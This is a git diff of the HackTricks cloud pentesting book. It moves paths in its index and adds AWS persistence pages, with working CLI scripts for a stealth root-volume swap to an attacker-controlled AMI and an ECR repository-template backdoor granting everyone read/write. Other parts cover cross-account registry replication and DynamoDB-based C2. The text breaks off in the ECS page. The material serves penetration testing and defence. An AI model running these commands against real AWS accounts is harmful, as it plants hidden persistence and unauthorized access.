|
||||
- [AWS - DynamoDB Enum](pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md)
|
||||
- [AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum](pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md)
|
||||
- [AWS - Nitro Enum](pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md)
|
||||
@@ -379,6 +396,7 @@
|
||||
- [AWS - Redshift Enum](pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md)
|
||||
- [AWS - Relational Database (RDS) Enum](pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md)
|
||||
- [AWS - Route53 Enum](pentesting-cloud/aws-security/aws-services/aws-route53-enum.md)
|
||||
- [AWS - SageMaker Unauthorized Access](pentesting-cloud/aws-security/aws-services/aws-sagemaker-unauthorized-access.md)
|
||||
- [AWS - Secrets Manager Enum](pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md)
|
||||
- [AWS - SES Enum](pentesting-cloud/aws-security/aws-services/aws-ses-enum.md)
|
||||
- [AWS - SNS Enum](pentesting-cloud/aws-security/aws-services/aws-sns-enum.md)
|
||||
@@ -388,31 +406,31 @@
|
||||
- [AWS - STS Enum](pentesting-cloud/aws-security/aws-services/aws-sts-enum.md)
|
||||
- [AWS - Other Services Enum](pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md)
|
||||
- [AWS - Unauthenticated Enum & Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md)
|
||||
- [AWS - Accounts Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md)
|
||||
- [AWS - API Gateway Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md)
|
||||
- [AWS - Cloudfront Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md)
|
||||
- [AWS - Cognito Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md)
|
||||
- [AWS - CodeBuild Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md)
|
||||
- [AWS - DocumentDB Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md)
|
||||
- [AWS - DynamoDB Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md)
|
||||
- [AWS - EC2 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md)
|
||||
- [AWS - ECR Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md)
|
||||
- [AWS - ECS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md)
|
||||
- [AWS - Elastic Beanstalk Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md)
|
||||
- [AWS - Elasticsearch Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md)
|
||||
- [AWS - IAM & STS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md)
|
||||
- [AWS - Identity Center & SSO Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md)
|
||||
- [AWS - IoT Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md)
|
||||
- [AWS - Kinesis Video Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md)
|
||||
- [AWS - Lambda Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md)
|
||||
- [AWS - Media Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md)
|
||||
- [AWS - MQ Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md)
|
||||
- [AWS - MSK Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md)
|
||||
- [AWS - RDS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md)
|
||||
- [AWS - Redshift Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md)
|
||||
- [AWS - SQS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md)
|
||||
- [AWS - SNS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md)
|
||||
- [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md)
|
||||
- [AWS - Accounts Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md)
|
||||
- [AWS - API Gateway Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md)
|
||||
- [AWS - Cloudfront Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md)
|
||||
- [AWS - Cognito Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md)
|
||||
- [AWS - CodeBuild Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md)
|
||||
- [AWS - DocumentDB Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md)
|
||||
- [AWS - DynamoDB Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md)
|
||||
- [AWS - EC2 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md)
|
||||
- [AWS - ECR Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md)
|
||||
- [AWS - ECS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md)
|
||||
- [AWS - Elastic Beanstalk Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md)
|
||||
- [AWS - Elasticsearch Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md)
|
||||
- [AWS - IAM & STS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md)
|
||||
- [AWS - Identity Center & SSO Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md)
|
||||
- [AWS - IoT Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md)
|
||||
- [AWS - Kinesis Video Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md)
|
||||
- [AWS - Lambda Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md)
|
||||
- [AWS - Media Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md)
|
||||
- [AWS - MQ Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md)
|
||||
- [AWS - MSK Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md)
|
||||
- [AWS - RDS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md)
|
||||
- [AWS - Redshift Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md)
|
||||
- [AWS - SQS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md)
|
||||
- [AWS - SNS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md)
|
||||
- [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md)
|
||||
- [Azure Pentesting](pentesting-cloud/azure-security/README.md)
|
||||
- [Az - Basic Information](pentesting-cloud/azure-security/az-basic-information/README.md)
|
||||
- [Az Federation Abuse](pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md)
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - API Gateway Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
For more information go to:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Resource Policy
|
||||
@@ -29,7 +29,7 @@ Or just remove the use of the authorizer.
|
||||
If API keys are used, you could leak them to maintain persistence or even create new ones.\
|
||||
Or just remove the use of API keys.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - Cloudformation Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
For more information, access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
../../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
@@ -22,4 +22,4 @@ cdk bootstrap --trust 1234567890
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - Cognito Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cognito
|
||||
|
||||
For more information, access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cognito-enum/
|
||||
../../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### User persistence
|
||||
@@ -24,7 +24,7 @@ Cognito is a service that allows to give roles to unauthenticated and authentica
|
||||
Check how to do these actions in
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-cognito-privesc.md
|
||||
../../aws-privilege-escalation/aws-cognito-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
@@ -39,7 +39,7 @@ By default this is disabled:
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - DynamoDB Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### DynamoDB
|
||||
|
||||
For more information access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
../../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### DynamoDB Triggers with Lambda Backdoor
|
||||
@@ -60,7 +60,7 @@ aws dynamodb put-item \
|
||||
|
||||
The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - EC2 Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Security Group Connection Tracking Persistence
|
||||
@@ -34,7 +34,7 @@ Spot instances are **cheaper** than regular instances. An attacker could launch
|
||||
An attacker could get access to the instances and backdoor them:
|
||||
|
||||
- Using a traditional **rootkit** for example
|
||||
- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
|
||||
- Adding a new **public SSH key** (check [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md))
|
||||
- Backdooring the **User Data**
|
||||
|
||||
### **Backdoor Launch Configuration**
|
||||
@@ -43,6 +43,14 @@ An attacker could get access to the instances and backdoor them:
|
||||
- Backdoor the User Data
|
||||
- Backdoor the Key Pair
|
||||
|
||||
### EC2 ReplaceRootVolume Task (Stealth Backdoor)
|
||||
|
||||
Swap the root EBS volume of a running instance for one built from an attacker-controlled AMI or snapshot using `CreateReplaceRootVolumeTask`. The instance keeps its ENIs, IPs, and role, effectively booting into malicious code while appearing unchanged.
|
||||
|
||||
{{#ref}}
|
||||
../aws-ec2-replace-root-volume-persistence/README.md
|
||||
{{#endref}}
|
||||
|
||||
### VPN
|
||||
|
||||
Create a VPN so the attacker will be able to connect directly through i to the VPC.
|
||||
@@ -51,8 +59,6 @@ Create a VPN so the attacker will be able to connect directly through i to the V
|
||||
|
||||
Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
@@ -0,0 +1,79 @@
|
||||
# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuse **ec2:CreateReplaceRootVolumeTask** to swap the root EBS volume of a running instance with one restored from an attacker-controlled AMI or snapshot. The instance is rebooted automatically and resumes with the attacker-controlled root filesystem while preserving ENIs, private/public IPs, attached non-root volumes, and the instance metadata/IAM role.
|
||||
|
||||
## Requirements
|
||||
- Target instance is EBS-backed and running in the same region.
|
||||
- Compatible AMI or snapshot: same architecture/virtualization/boot mode (and product codes, if any) as the target instance.
|
||||
|
||||
## Pre-checks
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
INSTANCE_ID=<victim instance>
|
||||
|
||||
# Ensure EBS-backed
|
||||
aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceType' --output text
|
||||
|
||||
# Capture current network and root volume
|
||||
ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
|
||||
ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
|
||||
PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
|
||||
ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
|
||||
```
|
||||
|
||||
## Replace root from AMI (preferred)
|
||||
```bash
|
||||
IMAGE_ID=<attacker-controlled compatible AMI>
|
||||
|
||||
# Start task
|
||||
TASK_ID=$(aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID --query 'ReplaceRootVolumeTaskId' --output text)
|
||||
|
||||
# Poll until state == succeeded
|
||||
while true; do
|
||||
STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
|
||||
echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
|
||||
done
|
||||
```
|
||||
|
||||
Alternative using a snapshot:
|
||||
```bash
|
||||
SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
|
||||
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
|
||||
```
|
||||
|
||||
## Evidence / Verification
|
||||
```bash
|
||||
# Instance auto-reboots; network identity is preserved
|
||||
NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
|
||||
|
||||
# Compare before vs after
|
||||
printf "ENI:%s IP:%s
|
||||
ORIG_VOL:%s
|
||||
NEW_VOL:%s
|
||||
" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
|
||||
|
||||
# (Optional) Inspect task details and console output
|
||||
aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --output json
|
||||
aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
|
||||
```
|
||||
Expected: ENI_ID and PRI_IP remain the same; the root volume ID changes from $ORIG_VOL to $NEW_VOL. The system boots with the filesystem from the attacker-controlled AMI/snapshot.
|
||||
|
||||
## Notes
|
||||
- The API does not require you to manually stop the instance; EC2 orchestrates a reboot.
|
||||
- By default, the replaced (old) root EBS volume is detached and left in the account (DeleteReplacedRootVolume=false). This can be used for rollback or must be deleted to avoid costs.
|
||||
|
||||
## Rollback / Cleanup
|
||||
```bash
|
||||
# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
|
||||
# you can create a snapshot and replace again from it:
|
||||
SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
|
||||
aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
|
||||
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
|
||||
|
||||
# Or simply delete the detached old root volume if not needed:
|
||||
aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,101 +0,0 @@
|
||||
# AWS - ECR Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Docker Image with Malicious Code
|
||||
|
||||
An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner.
|
||||
|
||||
### Repository Policy
|
||||
|
||||
Add a policy to a single repository granting yourself (or everybody) access to a repository:
|
||||
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository.
|
||||
|
||||
### Registry Policy & Cross-account Replication
|
||||
|
||||
It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
First, you need to give the external account access over the registry with a **registry policy** like:
|
||||
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
|
||||
Then apply the replication config:
|
||||
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,159 @@
|
||||
# AWS - ECR Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Docker Image with Malicious Code
|
||||
|
||||
An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner.
|
||||
|
||||
### Repository Policy
|
||||
|
||||
Add a policy to a single repository granting yourself (or everybody) access to a repository:
|
||||
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository.
|
||||
|
||||
### Registry Policy & Cross-account Replication
|
||||
|
||||
It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
First, you need to give the external account access over the registry with a **registry policy** like:
|
||||
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
|
||||
Then apply the replication config:
|
||||
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Repository Creation Templates (prefix backdoor for future repos)
|
||||
|
||||
Abuse ECR Repository Creation Templates to automatically backdoor any repository that ECR auto-creates under a controlled prefix (for example via Pull-Through Cache or Create-on-Push). This grants persistent unauthorized access to future repos without touching existing ones.
|
||||
|
||||
- Required perms: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (used by the template), iam:PassRole (if a custom role is attached to the template).
|
||||
- Impact: Any new repository created under the targeted prefix automatically inherits an attacker-controlled repository policy (e.g., cross-account read/write), tag mutability, and scanning defaults.
|
||||
|
||||
<details>
|
||||
<summary>Backdoor future PTC-created repos under a chosen prefix</summary>
|
||||
|
||||
```bash
|
||||
# Region
|
||||
REGION=us-east-1
|
||||
|
||||
# 1) Prepare permissive repository policy (example grants everyone RW)
|
||||
cat > /tmp/repo_backdoor_policy.json <<'JSON'
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "BackdoorRW",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"AWS": "*"},
|
||||
"Action": [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer",
|
||||
"ecr:InitiateLayerUpload",
|
||||
"ecr:UploadLayerPart",
|
||||
"ecr:CompleteLayerUpload",
|
||||
"ecr:PutImage"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
|
||||
# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE
|
||||
aws ecr create-repository-creation-template --region $REGION --prefix ptc2 --applied-for PULL_THROUGH_CACHE --image-tag-mutability MUTABLE --repository-policy file:///tmp/repo_backdoor_policy.json
|
||||
|
||||
# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
|
||||
# This example caches from Amazon ECR Public namespace "nginx"
|
||||
aws ecr create-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc2 --upstream-registry ecr-public --upstream-registry-url public.ecr.aws --upstream-repository-prefix nginx
|
||||
|
||||
# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
|
||||
acct=$(aws sts get-caller-identity --query Account --output text)
|
||||
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
|
||||
|
||||
docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
|
||||
|
||||
# 5) Validate the backdoor policy was applied on the newly created repository
|
||||
aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq .
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,103 +0,0 @@
|
||||
# AWS - ECS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Periodic ECS Task
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.
|
||||
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
